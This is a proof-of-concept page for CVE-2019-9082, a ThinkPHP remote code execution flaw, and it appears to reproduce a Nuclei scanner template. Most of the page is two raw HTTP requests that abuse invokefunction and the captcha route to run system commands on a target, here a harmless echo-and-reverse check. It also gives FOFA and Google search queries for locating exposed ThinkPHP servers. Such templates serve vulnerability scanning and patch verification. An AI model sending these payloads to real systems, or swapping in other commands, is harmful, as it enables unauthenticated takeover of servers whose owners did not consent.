CVE-2019-9082: ThinkPHP < 3.2.4 - Remote Code Execution

2026-01-08 ThinkPHP PoC Public

Description

ThinkPHP before 3.2.4, as used in Open Source BMS v1.1.1 and other products, allows Remote Command Execution via the s parameter in index.php through the invokefunction functionality.

PoC

id: CVE-2019-9082

info:
  name: ThinkPHP < 3.2.4 - Remote Code Execution
  author: 0xanis
  severity: high
  description: |
    ThinkPHP before 3.2.4, as used in Open Source BMS v1.1.1 and other products, allows Remote Command Execution via the s parameter in index.php through the invokefunction functionality.
  impact: |
    Attackers can execute arbitrary system commands true the server without authentication, potentially leading to full system compromise.
  remediation: |
    Update to ThinkPHP 3.2.4 or later, or apply vendor patches.
  reference:
    - https://github.com/xyl-tools/open_source_bms/issues/33
    - http://packetstormsecurity.com/files/157218/ThinkPHP-5.0.23-Remote-Code-Execution.html
    - https://www.exploit-db.com/exploits/46488/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/thinkphp_rce.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9082
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-94
    cpe: cpe:2.3:a:opensourcebms:open_source_background_management_system:1.1.1:*:*:*:*:*:*:*
    epss-score: 0.97419
    epss-percentile: 0.99896
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="ThinkPHP"
    google-query: inurl:"index.php?s=" "thinkphp"
  tags: cve,cve2019,thinkphp,open_source_bms,none_cms,rce,kev,vkev,vuln

http:
  - raw:
      - |
        GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20thinkphp%20%7C%20rev HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /index.php?s=captcha HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20thinkphp%20%7C%20rev

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "phpkniht")'
          - 'status_code == 200 || status_code == 500'
        condition: and
# digest: 490a0046304402205b6e4cc5a46b0e63398d1af7c297d4d8f11ea0e4209419e7f4f3ee830472f515022036b7393628574e68bcd13a0146b0995d317aa16e4d6f1d0ba7a835fc82f7f464:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities